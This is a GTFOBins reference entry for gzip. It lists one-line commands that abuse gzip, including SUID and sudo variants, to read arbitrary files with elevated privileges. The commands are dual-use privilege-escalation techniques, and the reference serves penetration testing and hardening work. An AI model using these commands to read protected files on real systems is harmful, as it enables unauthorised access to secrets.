GTFOBins.github.io/_gtfobins/gzip.md
2021-04-11 17:44:26 +02:00

552 B

description functions
There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID.
file-read suid sudo
code
LFILE=file_to_read gzip -f $LFILE -t
code
LFILE=file_to_read gzip -c $LFILE | gzip -d
code
LFILE=file_to_read ./gzip -f $LFILE -t
code
LFILE=file_to_read sudo gzip -f $LFILE -t